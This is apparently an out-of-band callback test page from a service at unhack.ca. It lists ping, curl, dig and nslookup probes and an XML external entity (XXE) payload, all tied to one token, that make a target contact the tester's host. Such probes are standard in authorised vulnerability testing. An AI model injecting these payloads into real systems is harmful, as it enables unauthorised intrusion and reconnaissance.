$ ping -c1 -p 00741e6a447cd7b7a0a679157b4e9200 unhack.ca
 
$ curl http://unhack.ca/p/741e6a447cd7b7a0a679157b4e92
 
$ dig 741e6a447cd7b7a0a679157b4e92 @unhack.ca
 
$ dig 741e6a447cd7b7a0a679157b4e92.ns.unhack.ca
 
C:\> nslookup 741e6a447cd7b7a0a679157b4e92 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/741e6a447cd7b7a0a679157b4e92">]>
    <foo>&xxe;</foo>
 
Waiting for ping...